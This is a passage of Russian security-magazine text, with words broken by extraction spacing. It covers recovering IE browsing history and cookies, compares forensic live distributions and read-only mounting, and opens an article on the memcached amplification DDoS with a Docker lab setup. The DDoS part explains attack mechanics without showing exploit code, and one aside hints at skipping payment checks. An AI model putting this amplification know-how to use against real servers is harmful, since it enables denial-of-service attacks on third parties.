прос мот рщик cookies.

Как и в пре дыду щем кей се, нам понадо бит ся все та же машина с заранее
инстал лирован ной Windows XP. Ска чива ем на жес ткий диск ути литы 

 и  . Пред варитель но встро енным в XP IE откры ваем
нес коль ко сай тов, а пос ле запус каем бинар ник.
IEHistoryView IECookiesView

Ре зуль тат работы вьюве ра IEHistoryView

Пос ле запус ка тул за авто мати чес ки под тягива ет всю дос тупную информа цию
о  сох ранен ных  в  исто рии  URL‐адре сах,  наз вании  стра ниц,  дате  прос мотра,
име ни  поль зовате ля,  под  которым  был  про изве ден  сеанс  веб‐сер финга.
В  ито ге  мож но  выс тро ить  связ ку  «что  было  прос мотре но» —  «в  какое  вре‐ 
мя» — «каким имен но поль зовате лем».

Да лее  в  глав ном  окне  прог раммы  дос тупен  поиск  по  клю чево му  сло ву.
Вве дем, нап ример, metasploit.

Ре зуль таты поис ка тек ста metasploit в исто рии посеще ния

Са мое вре мя при нимать ся за IECookiesView. Рас паковы ваем пред варитель но
ска чан ный  архив  в  любую  дирек торию  и  запус каем.  Пос ле  это го  ждем  нес‐ 
коль ко  секунд  до  появ ления  глав ного  окна  прог раммы  с  содер жани ем  сох‐ 
ранен ных локаль но cookie‐фай лов.

За пуск IECookiesView и прос мотр cookie‐фай лов

Те перь  можешь  щел кнуть  любую  строч ку  из  име ющих ся  cookie,  пос ле  чего
в  ниж ней  панели  глав ного  окна  ста нут  дос тупны  пун кты  меню  редак тирова‐ 
ния.

Воз можность редак тирова ния выб ранно го cookie‐фай ла

Ре дак тирова ние слу жеб ной информа ции выб ранно го cookie‐фай ла

ЗАКЛЮЧЕНИЕ

Се год ня  мы  про дела ли  неп лохую  иссле дова тель скую  работу:  обна ружи ли
уда лен ный файл и успешно вос ста нови ли его, исполь зовали нераз мечен ные
области  сек торов  дис ка  для  сох ранения  «сек ретно го  сооб щения»,  заюза ли
ути литы для соз дания дам пов поль зователь ских про цес сов и  всей сис темы,
что бы  искать  сле ды  инфи циро вания мал варью,  и  рас смот рели  при мер  вос‐ 
ста нов ления  исто рии  веб‐сер финга. Минимум  теории  и мак симум  прак тики
на самых дос тупных кей сах. Мы и даль ше будем при дер живать ся это го прин‐ 
ципа,  так  что  в  ско ром  вре мени  жди  новую  пор цию  кей сов  и  не  туши  свет
в сво ей форен зик‐лабора тории! :)

https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%B3%D0%B0%D0%BD%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F
https://github.com/intel/bmap-tools
https://packages.debian.org/ru/sid/bmap-tools
http://dl.packetstormsecurity.net/linux/security/bmap-1.0.17.tar.gz
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
http://datadump.ru/windbg-crash-dump-analysis/
http://itadept.ru/windows-crash-dump-windbg/
http://www.oszone.net/27734/WinDBG-Debugging-Crash-Dumps
http://www.nirsoft.net/utils/iehv.zip
http://www.nirsoft.net/utils/iecv.zip
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Ес ли  твоя  задача —  най ти  ули ки  на  жес тком  дис ке,  то  худ‐ 
шее,  что  ты  можешь  сде лать,  —  это  «натоп тать»  самос‐ 
тоятель но, изме нив какие‐то дан ные и соз дав новые фай лы.
Что бы это го не про исхо дило, работать с элек трон ными вещ‐ 
доками  луч ше  все го,  заг рузив шись  с  live  CD.  А  еще  луч ше
иметь  заг рузоч ный  носитель  со  спе циали зиро ван ным  дис‐ 
три бути вом. Об их выборе и осо бен ностях мы и погово рим
в этой статье.

ЦЕЛИ И МЕТОДЫ ФОРЕНЗИКИ
Как  ты  уже  мог  узнать  из  пре дыду щей  статьи  в  теме  это го  номера,  методы
форен зики под разде ляют ся на две боль шие груп пы: ана лиз вклю чен ной сис‐ 
темы (нап ример, работа юще го сер вера) и вык лючен ной  (нап ример, изъ ятых
накопи телей). Их еще называ ют динами чес ким и ста тичес ким ана лизом.

Эти два метода в кор не отли чают ся не толь ко под ходами, но и теми дан‐ 
ными,  которые  уда ется  соб рать.  В  пер вом  слу чае  это  наб людение  за  ата‐ 
кован ной сис темой в реаль ном вре мени. Есть воз можность непос редс твен но
оце нить  дис ковую  и  сетевую  активность,  получить  спи сок  запущен ных  про‐ 
цес сов, откры тых пор тов, прос мотреть залоги нен ных поль зовате лей, а глав‐ 
ное — получить из опе ратив ной памяти те дан ные, которые при отклю чении
питания исчезнут бес след но. Нап ример, клю чи тро яна‐шиф роваль щика, рас‐ 
шифро ван ную  копию  смон тирован ных  крип токон тей неров  и  даже  дос туп
к уда лен ным ресур сам, если на них в текущем сеан се была выпол нена авто‐ 
риза ция. Пос ле вык лючения компь юте ра вся эта информа ция ока жет ся без‐ 
воз врат но  уте рян ной,  а  крип тогра фичес кие  кон тей неры  оста нут ся  лишь
зашиф рован ными фай лами на дис ке.

На боры  для  ана лиза  «вжи вую»  каж дый  спе циалист  фор миру ет,  исхо дя
из  собс твен ных  пот ребнос тей.  Ска жем,  адми ну  дос таточ но  уметь  быс тро
под нять сер висы, упав шие пос ле ата ки, и вос ста новить про дук тив из бэкапа.
Уже потом в спо кой ной обста нов ке он, может быть, и гля нет логи, но вряд ли
най дет  в  них  что‐то  цен ное.  Айпиш ники  китай ских  прок си?  Приз наки  вхо да
на  кор поратив ный  сайт  через  дырявую  CMS,  которую  он  хотел  про пат чить
месяц  назад? Если  все  биз нес‐про цес сы  идут  сво им  чередом,  даль нейшее
рас сле дова ние КИ для него теря ет смысл.

Иные  под ходы  у  отде ла  рас сле дова ния  компь ютер ных  инци ден тов  анти‐ 
вирус ной ком пании (который вмес те с пра воох ранитель ными орга нами ана‐ 
лизи рует све жий слу чай мас сового зараже ния) или FinCERT, рас путыва ющей
APT  в  какой‐нибудь  пла теж ной  сис теме.  Здесь  сов сем  дру гие  при ори теты:
нуж но соб рать мак симум информа ции,  которую затем мож но будет исполь‐ 
зовать  в  суде.  Обна ружить  C&C‐сер веры  бот нета,  най ти  источник  угро зы,
деталь но  вос ста новить  сце нарий  взло ма  и  вый ти  на  его  орга низа торов  (в
иде але — с их пос леду ющим арес том). Для это го тре бует ся тща тель но соб‐ 
рать доказа тель ную базу, но проб лема в том, что ана лиз сис темы поч ти всег‐ 
да вно сит в нее иска жения. Задача спе циалис та по компь ютер ной кри мина‐ 
лис тике — свес ти их к миниму му и учесть при даль нейшем ана лизе.

WARNING

Кри мина лис тичес кий  ана лиз  свя зан  с  дос тупом
к  пер сональ ным  дан ным  и  ком мерчес кой  тай не.
Для его про веде ния на чужой сис теме тре бует ся
лицен зия.

КАК НЕ НАСЛЕДИТЬ СЛЕДОПЫТУ
Пер вое пра вило форен зики — не вно сить иска жений в ори гинал. Для это го
все дей ствия выпол няют ся с точ ной (посек торной) копи ей иссле дуемой фай‐ 
ловой сис темы и пол ными дам пами опе ратив ной памяти.

К сожале нию, на прак тике этот прин цип час то наруша ется из‐за нез нания
осо бен ностей  работы  ОС,  в  том  чис ле  Live‐дис три бути вов.  Для  удобс тва
во мно гих из них по умол чанию акти виро вана фун кция авто мати чес кого под‐ 
клю чения всех обна ружен ных дис ков. Осо бен но этим гре шит Windows (вклю‐ 
чая сбор ки на осно ве PE), которая соз дает на каж дом дис ке вре мен ные фай‐ 
лы  и  слу жеб ные  катало ги  (System  Volume  Information,  $Recycle.Bin  и  так
далее), но и в Linux проб лем хва тает.

Во мно гих заг рузоч ных дис три бути вах для форен зики на осно ве Linux дис‐ 
ковые раз делы мон тиру ются с опци ей  . Счи тает ся, что это го дос таточ но
для пре дот вра щения слу чай ной записи. Одна ко даже если для поль зовате ля
диск выг лядит как под клю чен ный в режиме «толь ко чте ние», ядро ОС и драй‐ 
веры фай ловой  сис темы  все  рав но  могут  изме нять  на  нем  слу жеб ные  дан‐ 
ные — нап ример, вре мя пос ледне го обра щения к фай лу.

‐o ro

По  умол чанию  сре ди  парамет ров  мон тирова ния  ука зан  ,  что  озна‐ 
чает обновлять атри бут «вре мя пос ледне го дос тупа» при любом обра щении
к фай лам. Для форен зики разум нее исполь зовать  .

atime

noatime
Дру гую проб лему пред став ляют некор рек тно раз монти рован ные раз делы,

что  час то  слу чает ся  при  изъ ятии  дис ков  во  вре мя  «мас ки‐шоу». Перед  сле‐ 
дующим мон тирова нием пов режден ная фай ловая  сис тема будет  про вере на
и  fsck  попыта ется  авто мати чес ки  устра нить  все  най ден ные  ошиб ки.  Нап‐ 
ример, прог рамма испра вит «под висшие» индек сные дес крип торы  (которые
опи сыва ют фай лы, уда лен ные откры тыми).

Собс твен но  говоря,  драй веры  всех  жур налиру емых  фай ловых  сис тем
(ext3/4,  ReiserFS,  XFS,  NTFS  и  дру гих)  игно риру ют  опцию    при  сис‐ 
темных  обра щени ях  к  дис ку.  Что бы  оту чить  их  смот реть  жур нал  и  пытать ся
внес ти исправ ления, луч ше мон тировать иссле дуемые раз делы с опци ей 

,    или    —  в  зависи мос ти  от  типа  фай ловой
сис темы, одна ко и это не панацея.

‐o  ro

ro,
noload ro,nolog ro,norecovery

Неп редна мерен ная запись на иссле дуемый накопи тель во вре мя ана лиза
все рав но оста ется воз можна, при чем еще на эта пе запус ка Live‐дис три бути‐ 
ва.  Нап ример,  при  поис ке  заг рузоч ного  носите ля,  записи  драй веров
в  initramfs и соз дании swap‐фай ла или авто мати чес ком мон тирова нии обна‐ 
ружен ных  дис ковых  раз делов  (в  том  чис ле  для  поис ка  Root  FS  баналь ным
перебо ром всех под клю чен ных дис ков). Это одна из при чин физичес ки под‐ 
клю чать иссле дуемый накопи тель уже пос ле заг рузки Live‐дис три бути ва.

Ва риан ты решения проб лемы самоволь ной записи на иссле дуемый диск
зависят от осо бен ностей дис три бути ва и самого устрой ства. Нап ример, тома
ext3 и ext4 мож но смон тировать как нежур налиру емые (ext2).

Дол гое  вре мя  для  нераз руша юще го  ана лиза  жес тких  дис ков  счи талось
дос таточ ным  под клю чать  их  как  блоч ное  устрой ство  в  режиме  «толь ко  чте‐ 
ние»:

blockdev ‐‐setro /dev/sdb2 (вместо sdb2 укажи актуальное обозначение 
диска)

Ка залось  бы,  все  вер но:  blockdev  исполь зует  сис темный  вызов  для  изме‐ 
нения фла га ядра, который про веря ется на уров не фай ловой сис темы. Если
этот  флаг  уста нов лен,  то  он  отклю чает  опе рации  записи  в  ФС,  при чем
не  толь ко  поль зователь ские,  но  и  сис темные  (жур налиро вание,  вос ста нов‐ 
ление,  переза пись  супер бло ка).  Такой  метод  при меня ется  в  боль шинс тве
дис три бути вов для форен зики.

Од нако  на  прак тике  некор рек тно  написан ный  драй вер  ФС  все  рав но
может про пус тить эту про вер ку и выпол нить опе рации записи.

По это му исполь зование blockdev в режиме «толь ко чте ние» гаран тирован‐ 
но  работа ет  толь ко  для  при ложе ний,  запус каемых  из  userspace,  обра щения
которых про веря ет драй вер, но не для ядра ОС и самих драй веров.

Са мый  надеж ный  вари ант  —  помес тить  меж ду  ана лизи руемым  дис ком
и драй вером ФС вир туаль ное блоч ное  устрой ство  loop device. Оно не про‐ 
пус тит  низ коуров невые  коман ды  и  не  даст  сис теме  тихо  модифи циро вать
иссле дуемый диск.

mount ‐o ro,loop /dev/sdb2 dir (здесь dir — произвольное имя 
каталога)

Ана логич но метод работа ет с обра зами дис ков.

mount ‐o ro,loop diskimage.dd dir

FLASH
От дель ные  слож ности  воз ника ют  с  твер дотель ными  накопи теля ми.  Их  кон‐ 
трол леры  самос тоятель но  выпол няют  низ коуров невые  опе рации  для  уско‐ 
рения  пос леду ющей  записи  и  вырав нивания  сте пени  изно са  яче ек
флеш‐памяти.  Баналь ные  опе рации Garbage Collection  и  TRIM могут  выпол‐ 
нить ся в любой момент и похоро нить надеж ду на вос ста нов ление уда лен ных
фай лов.

Ва риан та решения этой проб лемы как минимум два:
1. Вы паять  чипы  памяти  и  счи тать  их  прог рамма тором  (бес полез но,  если
на  SSD  исполь зует ся  встро енное  шиф рование,  а  сей час  оно  по  умол‐ 
чанию акти виро вано на боль шинс тве моделей).

2. Соз дать  длин ную  оче редь  команд  на  чте ние  (обыч но  кон трол лер
не  выпол няет  внут ренние  опе рации,  пока  обра баты вает  внеш ние  зап‐ 
росы).

Это  еще  одна  при чина  под клю чать  ана лизи руемый  накопи тель  уже  пос ле
запус ка ОС для кри мина лис тичес кого ана лиза и сра зу сни мать с него посек‐ 
торный образ, не оставляя прос таивающим ни секун ды.

До пол нитель ные иска жения при работе с флеш‐накопи теля ми воз ника ют
из‐за того, что те ячей ки памяти, на которые ни разу не выпол нялась запись,
находят ся  в  неоп ределен ном  сос тоянии.  Попыт ка  счи тать  их  воз вра щает
не  нули,  а  слу чай ные  дан ные — шум мик росхе мы NAND  Flash.  Сре ди  это го
шума  прос то  по  закону  боль ших  чисел  могут  встре тить ся  бай товые  пос‐ 
ледова тель нос ти, сов пада ющие с извес тны ми заголов ками фай лов. Поэто му
прог раммы вос ста нов ления дан ных при работе в посек торном режиме  (глу‐ 
бокий ана лиз) час то «находят» уда лен ные фай лы там, где их никог да не было.

КОПИЯ ИЛИ ПОДДЕЛКА?
Ка чес твен ный  сбор  информа ции  харак теризу ется  вос про изво димостью
(верифи циру емостью) его резуль татов. Это воз можно толь ко при нераз руша‐ 
ющем и точ ном копиро вании дан ных. Одна ко даже сре ди спе циали зиро ван‐ 
ных  «кри мина лис тичес ких»  прог рамм  для  соз дания  обра зов  встре чают ся
ошиб ки.

Нап ример, в форен зике час то исполь зовалась (и кое‐где про дол жает при‐ 
менять ся)  кон соль ная  ути лита  ,  раз работан ная  в  Лабора тории  судеб‐ 
ной экспер тизы компь ютер ной безопас ности (DCFL) — под разде лении Цен‐ 
тра  защиты  от  кибер прес тупле ний  (Лин тикам,  штат  Мэриленд).  Это  рас‐ 
ширен ный вари ант прог раммы  ,  выпол няющий побит ную копию фай ловой
сис темы. Если во вре мя работы dcfldd про изой дет ошиб ка чте ния, то все пос‐ 
леду ющие  номера  сек торов  в  обра зе  ока жут ся  сме щены. Под дер жка  dcfldd
была прек ращена в 2006 году, и баг остался неис прав ленным.

dcfldd

dd

Соз данная  копия  может  ока зать ся  непол ной  и  в  слу чае  дам па  памяти.
Боль шинс тво  ути лит  записы вают  толь ко  содер жимое  ОЗУ,  игно рируя  файл
под качки.  Поэто му,  кро ме  стан дар тно го  дам па,  есть  смысл  делать  копию
pagefile.sys.  Для  это го  удоб но  вос поль зовать ся  ути литой 

. Это бес плат ная  часть плат ного набора Forensic ToolKit  от Access Data,
мощ ная  прог рамма  для  пред варитель ного  прос мотра  и  визу али зации  дан‐ 
ных,  исполь зуемая  при  получе нии  доказа тель ств  с  работа ющих  Windows‐
машин.

Forensic  Toolkit  Im‐
ager

Де лаем дамп вмес те с pagefile.sys

По луча ем сис темные фай лы

До пол нитель но FTK  Imager поз воля ет без перезаг рузки получить копии заб‐ 
локиро ван ных фай лов SAM и SECURITY, сде лать копии веток реес тра SOFT‐
WARE  и  SYSTEM.  Прог рамма  уме ет  соз давать  побит ные  копии  дан ных  (как
отдель ных фай лов  или  папок,  так  и  целых  дис ков)  без  вне сения  изме нений
в ори гинал. С ее помощью удоб но прос матри вать все физичес ки име ющиеся
фай лы, вклю чая уда лен ные, но еще не переза писан ные.

Соз даем обра зы

Да же если на текущем эта пе ты не пред полага ешь их иссле дова ние, все рав‐ 
но  луч ше  перес тра ховать ся.  Сох ранение  пол ной  информа ции  пот ребу ется
для более глу боко го изу чения инци ден та в даль нейшем, ког да его основные
пос ледс твия уже будут устра нены в работа ющей сис теме.

INFO

Лю бой  дис три бутив  для  форен зики  пот ребу ет
некото рого  «напилин га».  Имен но  поэто му
в  статье  раз бира ются  основные  проб лемы
и методы их решения. Общепри нято го стан дарта
здесь  нет.  В  реаль ных  судеб ных  про цес сах  кри‐ 
мина лис ты  пос тоян но  балан сиру ют  меж ду  чис‐ 
тотой  методи ки  и  ско ростью  сбо ра  доказа тель‐ 
ств.

Продолжение статьи →
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ТУЛКИТ
ДЛЯ ФОРЕНЗИКИ
ВЫБИРАЕМ ДИСТРИБУТИВ И НАБОР СОФТА

ДЛЯ КРИМИНАЛИСТИЧЕСКОГО АНАЛИЗА

COVERSTORY  НАЧАЛО СТАТЬИ←

ПОПУЛЯРНЫЕ LIVE-ДИСТРИБУТИВЫ
Для  компь ютер ной  кри мина лис тики  были  соз даны  десят ки  Live  CD/USB
с  гром кими  наз вани ями.  Боль шинс тво  из  них  ока зались  одно тип ными  кло‐ 
нами на базе Knoppix, Ubuntu и реже — дру гих ОС. Здесь мы отме тим толь ко
сов ремен ные и хорошо себя зареко мен довав шие. Нач нем с бес плат ных.

CAINE
Италь янский  дис три бутив 
соз дан на базе Ubuntu 16.04. Он дос тупен в 32‐бит ной и 64‐раз рядной вер‐ 
сии.  Пос ледняя  сбор ка  называ ется  CAINE  9.0  Quantum  и  выш ла
в  октябре  2017  года.  Авто ры  CAINE  реали зова ли  режим  «толь ко  чте ние»
через   и пред лага ют удоб ный инс тру мент управле ния раз решени ем
записи на дис ки. По умол чанию запись бло киру ется и ни один раз дел (кро ме
основно го) не мон тиру ется авто мати чес ки. Одна ко CAINE не пре дот вра щает
переза пись  слу жеб ной  информа ции  на  раз делах  с  жур налиру емы ми  ФС
и под клю чен ными через менед жер логичес ких томов LVM.

CAINE  (Computer  Aided  INvestigative  Environment)

blockdev

Бло киров ка записи в CAINE

CAINE содер жит десят ки популяр ных ути лит для форен зики, орга низо ван ных
в соот ветс тву ющие раз делы. Они при меня ются для изу чения сис тем на базе
Windows  и  Linux.  Типовые  сце нарии  ана лиза  час тично  авто мати зиро ваны.
Так же в нем дос тупна полу авто мати чес кая ком пиляция окон чатель ного отче‐ 
та,  что  помога ет  быс трее  соз давать  стан дарти зиро ван ную  доказа тель ную
базу для суда.

На бор ути лит в CAINE

CAINE воб рал в себя извес тные тул киты (NirSoft, Sleuth Kit, Autopsy и дру гие),
поэто му  с  ним  нет  необ ходимос ти  заг ружать  их  отдель но.  Ути литы  для Win‐
dows исполь зуют ся в режиме Live Forensic и ранее раз вивались в рам ках дру‐ 
жес твен ного  про екта  .  Пос ле  его  зак рытия  их  добави ли  в  сос тав
CAINE. Прос то  рас пакуй  образ  на флеш ку  и  запус ти  их  отдель но  или  через
лаун чер.

Win‐UFO

Ути литы для ана лиза Windows

Де таль ный сбор дан ных о сис теме в WinAudit

NirSoft Launcher в сос таве CAINE

DEFT
Еще один италь янский дис три бутив на базе Ubuntu — 

. Он свя зан с популяр ным тул китом для пре пари рова ния Win‐
dows‐машин на живую — DART (Digital Advanced Response Toolkit) и вклю чает
в  себя  пред став ленные  в  нем  ути литы  (запус кают ся  через  эму лятор WINE).
Работа ет эта связ ка не так ста биль но, как натив ные при ложе ния, да и в целом
DEFT усту пает CAINE по фун кци ональ нос ти.

DEFT (Digital Evidence &
Forensic Toolkit)

Ос новной  акцент  в  DEFT  сде лан  на  соз дание  точ ных  дис ковых  обра зов
и  рас ширен ную  про вер ку  целос тнос ти  дан ных  с  исполь зовани ем  раз ных
хеш‐фун кций.

Ути литы хеширо вания в DEFT

Соз дание обра зов в DEFT

Пер вая вер сия DEFT выш ла в 2005 году. С 2012 года он раз вива ется под эги‐ 
дой  неком мерчес кой  орга низа ции  DEFT  Association.  Пос ледняя  (про тес‐ 
тирован ная в этой статье) вер сия датиру ется янва рем 2017 года.

Parrot OS
Из началь но  италь янский  (они  там  сго вори лись,  что  ли?!)  дис три бутив 

 не был ори енти рован имен но на форен зику. Его пре рога тивой был ано‐ 
ним ный  веб‐сер финг  и  аудит  безопас ности.  Пос ле  того  как  пункт  forensic
mode был добав лен в меню заг рузки, Parrot OS успешно при меня ется и для
рас сле дова ния КИ.

Parrot
OS

Parrot OS Forensic mode

Parrot  OS  базиру ется  на  Debian  и  активно  раз вива ется.  Пос ледняя  вер сия
появи лась  все го  пол тора  месяца  назад.  Опе раци онка  очень  лег ковес ная
(может запус кать ся на сис темах с 256 Мбайт ОЗУ), работа ет на про цес сорах
с архи тек турой  x86,  x86‐64 и ARM,  что поз воля ет  эффектив но исполь зовать
ее так же на Raspberry Pi и про чих одноплат никах.

По фун кци ональ нос ти это один из луч ших дис три бути вов. В нем есть все
популяр ные  инс тру мен ты  для  кри мина лис тичес кого  ана лиза  работа ющих
сис тем и обра зов плюс мощ ный пакет ауди та чего угод но, как в Kali Linux.

На бор инс тру мен тов для форен зики в Parrot OS

Ин тегри рован ный пакет Sleuth Kit и Autopsy (гра фичес кий интерфейс к набору
Sleuth) упро щают офор мле ние отче тов при рас сле дова нии КИ. В них содер‐ 
жится  вся  соб ранная  информа ция  по  раз делам  вмес те  с  ком мента риями,
которые ИТ‐эксперт оставлял по ходу их обна руже ния.

Sumuri PALADIN
 — один из популяр ных про дук тов Sumuri для форен зики. Так‐ 

же базиру ется на Ubuntu и пыта ется заб локиро вать запись через blockdev (с
тем же час тичным успе хом, что и CAINE).

Sumuri PALADIN

За пуск Paladin

В сос тав Paladin вхо дит ути лита для соз дания и кон верта ции обра зов дис ков
раз ных  фор матов.  Бла года ря  гра фичес кому  интерфей су  с  ней  спра вит ся
и новичок.

Paladin Toolbox

Раз работ чики  рас простра няют  дис три бутив  как  donationware  с  рекомен‐ 
дован ной ценой 25 дол ларов. Ты можешь ука зать и дру гую  (как боль ше,  так
и мень ше), но в любом слу чае при дет ся офор млять покуп ку. Под сказ ка: поля
не  про веря ются.  Прос то  вве ди  валид ный  поч товый  индекс  для  выб ранно го
шта та или стра ны.

Kali Linux — Forensic mode
При запус ке в таком режиме Kali не мон тиру ет авто мати чес ки ни один раз дел,
вклю чая  swap.  Все  основные  средс тва  кри мина лис тичес кого  ана лиза  соб‐ 
раны  в  метапа ке    раз мером  3,1  Гбайт.  Этот  набор
из 84 ути лит удоб но исполь зовать для   обра за Kali,
в котором не будет ничего лиш него.

kali‐forensics‐tools
са мос тоятель ной сбор ки

Kali Forensic tools

ПЛАТНЫЕ ДИСТРИБУТИВЫ
SMARTLinux
По мне нию мно гих поль зовате лей, он наибо лее кор рек тно бло киру ет запись
на  иссле дуемый  накопи тель  в  дефол тных  нас трой ках.  Рекомен дует ся
для  выпол нения  верифи циру емо го  нераз руша юще го  ана лиза  с  целью  пре‐ 
дос тавле ния надеж ных циф ровых доказа тель ств в суде.

EnCase Forensic
Де‐фак то  этот  набор  стал  эта лоном  для Интерпо ла.  Исполь зует ся  для  ана‐ 
лиза дам па памяти компь юте ров и мобиль ных устрой ств, вклю чая смар тфо ны
и GPS‐тре керы. Под ходит для сов мес тной работы нес коль ких спе циалис тов.

Grml-Forensic
Очень  извес тный  дис три бутив  на  базе  Debian,  пос коль ку  исполь зует ся
для  обу чения  форен зике.  При  покуп ке  лицен зии  пре дос тавля ется  дос туп
к зак рытому сер вису Grml‐Forensic Bug Tracking System.

Grml‐Forensic уме ет вза имо дей ство вать с  . Это рас ширен‐ 
ный  вари ант  WinHex  с  кучей  допол нитель ных  фун кций.  Он  под держи вает
нетипич ные  для  Windows  фай ловые  сис темы  (HFS,  XFS  и  дру гие).  Уме ет
читать  и  записы вать  фай лы  доказа тель ств  .e01  (обра зы  EnCase).  Может
выпол нять  раз дель ный  ана лиз фай лов  раз ных  поль зовате лей. Име ет  встро‐ 
енный ана лиза тор дам пов памяти и метадан ных.

X‐Ways Forensics

Helix
Пред став лен раз дель ными вет ками для ана лиза вжи вую и офлайн. Для быс‐ 
тро го дам па памяти, сбо ра паролей, спис ков активных про цес сов и откры тых
пор тов  есть  .  Для  офлай новой  форен зики  пред лага ется

.  Так же  есть  бес плат ная  вер сия  Helix3,  но  она  не  обновля лась
с 2009 года.

Helix  Live  Response
Helix3  Pro

РАСКОПКИ
В мире спе циали зиро ван ных дис три бути вов все быс тро меня ется. Поэто му я
перечис лю неког да популяр ные, но уста рев шие на сегод няшний день, прос то
что бы сэконо мить твое вре мя.

COFEE (Computer Online Forensic Evidence Extractor)
На бор  ути лит,  который  был  популя рен  в  National  White  Collar  Crime  Center
(NW3C), для сбо ра доказа тель ств с  компь юте ров под управле нием Windows
XP и более млад ших вер сий. Раз работан стар шим сле дова телем MS Internet
Safety Enforcement Team Энто ни Фан гом  (Anthony Fung). В 2008–2009  годах
Microsoft  раз давала  его  на  флеш ках  сот рудни кам  Интерпо ла  и  всем
ИТ‐экспер там,  которые  учас тво вали  в  задер жании  пред полага емых  прес‐ 
тупни ков.  COFEE  уско рял  сбор  циф ровых  вещ доков,  вклю чая  пароли,  исто‐ 
рию бра узе ра,  содер жимое папок поль зовате ля и деталь ное опи сание сис‐ 
темы. Порой это избавля ло от необ ходимос ти физичес ки изы мать компь юте‐ 
ры. Сей час его убра ли с сай та Microsoft, но он есть на тор рентах.

Сам  дис три бутив  не  содер жит  ничего  спе цифи чес кого  за  исклю чени ем
скрип та офор мле ния про цеду ры сбо ра дан ных. Это прос то набор извес тных
ути лит (autoruns, netstat, ipconfig, pslist и про чие) в еди ной обо лоч ке.

FIRE (Forensic and Incident Response Environment)
Прек ратил сущес тво вание в 2004 году. Это все, что нуж но о нем знать.

INSERT (Inside Security Rescue Toolkit)
Пос ледняя вер сия 1.3.9 выш ла в фев рале 2007 года.

PlainSight
Пер вая  и  пос ледняя  вер сия  0.1  выш ла  в  сен тябре  2008  года.  Подоб ных
попыток сде лать свой дис три бутив, ори енти рован ный на задачи кри мина лис‐ 
тики, было очень мно го.

ИЗ РЯДА ВОН
Все дис три бути вы для форен зики доволь но спе цифи чес кие, но есть и сов сем
узкоспе циали зиро ван ные. Нап ример,   для  кри мина лис тичес кого
ана лиза macOS. Цены на индуль ген цию Мак визиции начина ются от 1400 дол‐ 
ларов.  В  рас смот ренных  выше  наборах  его  отчасти  заменя ет  бес плат ная
линук совая  ути лита  volafox  для  иссле дова ния  дам па  памяти  «маков».  Она
исполь зует ся (в том чис ле) для поис ка заг ружен ных в ОЗУ клю чей.

MacQuisition

Про ект   — сме лая попыт ка занимать‐ 
ся офлай новым ана лизом КИ из вин ды. Впро чем, ее заб росили в 2012 году.
Сей час  для  Live  Forensic  вин довых  машин  удоб нее  исполь зовать  наборы
от NirSoft и Sysinternals, а офлай новый ана лиз и вов се выпол нять в сре де Lin‐
ux.

WinFE (Windows Forensic Environment)

WWW

•Цикл крат ких уро ков «Форен зика с Kali»
•Вве дение в Linux‐форен зику для начина ющих
•Ру ководс тво FTK Imager

https://www.caine-live.net/
http://web.archive.org/web/20150330135427/http://win-ufo.org/downloads.shtml
http://www.deftlinux.net/download/
https://www.parrotsec.org/
https://sumuri.com/product-category/software/sumuri-software/paladin/
https://www.kali.org/
https://docs.kali.org/downloading/live-build-a-custom-kali-iso
http://www.asrdata.com/forensic-software/smart-linux/
https://www.guidancesoftware.com/encase-forensic
https://grml-forensic.org/
http://www.x-ways.net/forensics/
http://www.e-fense.com/
http://www.e-fense.com/live-response.php
http://www.e-fense.com/helix3pro.php
http://biatchux.dmzs.com/
https://sourceforge.net/projects/insert/files/latest/download
http://www.plainsight.info/index.html
https://www.blackbagtech.com/software-products/macquisition.html
http://www.ramsdens.org.uk/index.html
https://null-byte.wonderhowto.com/how-to/kali-forensics/
http://linuxleo.com/Docs/linuxintro-LEFE-4.31.pdf
https://s3.amazonaws.com/ad-pdf/FTKImager_UG.pdf
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ВЗЛОМ

В  кон це фев раля  это го  года GitHub  под вер гся  мощ ней шей
DoS‐ата ке с пиковой мощ ностью 1 Тбайт/с. Ата ка ста ла воз‐ 
можна из‐за осо бен ностей кеширу ющей базы дан ных Mem‐
cached. Помимо GitHub, ее исполь зуют Facebook, LiveJournal
и дру гие боль шие сай ты. В этой статье я рас ска жу, что дела‐ 
ет неболь шой скрипт на Python, который при вел к таким пос‐ 
ледс тви ям.

Са ма ата ка отно сит ся к типу так называ емых DRDoS (Distributed Reflection De‐
nial of Service) — отра жен ных DoS, ког да сер вер ата кует ся не нап рямую зап‐ 
росами  от  ботов,  а  ответны ми  пакета ми.  В  слу чае  с  Memcached  зло умыш‐ 
ленник отправ ляет зап рос яко бы с IP‐адре са жер твы, БД верит это му и ответ
ухо дит уже на реаль ный сер вер.

Важ но,  что  здесь  при сутс тву ет  так  называ емое  умно жение  (ампли фика‐ 
ция) мощ ности, ког да раз мер ата кующе го тра фика уве личи вает ся в нес коль‐ 
ко  раз.  Таким  обра зом,  зап рос  в  15  байт,  отправ ленный  «Мем кешу»,  прев‐ 
раща ется в ответ раз мером в нес коль ко сотен килобайт, что дает колос саль‐ 
ный фак тор умно жения — при мер но в 51 тысячу раз.

Да вай  раз берем ся,  как  это  мож но  про вер нуть,  кто  виноват  и  как  такое
пре дот вра щать.

ГОТОВИМСЯ
Для  демонс тра ции  ата ки  нам  понадо бит ся  целых  четыре  стен да.  Для  этих
целей  я  буду  исполь зовать  кон тей неры  Docker.  Пер вый  кон тей нер  будет
играть  роль  сер вера‐жер твы,  два  дру гих  —  боты  для  про веде ния  DoS,  и,
наконец,  пос ледний  ста нет  изоб ражать  компь ютер  ата кующе го,  отку да  мы
запус тим экс пло ит.

Все эти кон тей неры будут работать на Debian и, за исклю чени ем уста нов‐ 
ленных пакетов, могут быть иден тичны ми.

За пус каем сер вер‐жер тву.

docker run ‐ti ‐‐rm ‐‐privileged ‐‐name=memcvictim ‐‐hostname=memcvi
ctim debian

Пер вое,  что  сде лаем  пос ле  стар та  кон тей нера,  —  уста новим  все  необ‐ 
ходимые при ложе ния и зависи мос ти. Помимо непос редс твен но Memcached,
нуж но  будет  уста новить  какой‐нибудь  сниф фер,  что бы  наг лядно  про наб‐ 
людать ата ку.

apt‐get update && apt‐get install ‐y tcpdump build‐essential wget 
libevent‐dev

Сам дис три бутив Memcached будем собирать из исходни ков, нам понадо бит‐ 
ся вер сия 1.5.5.

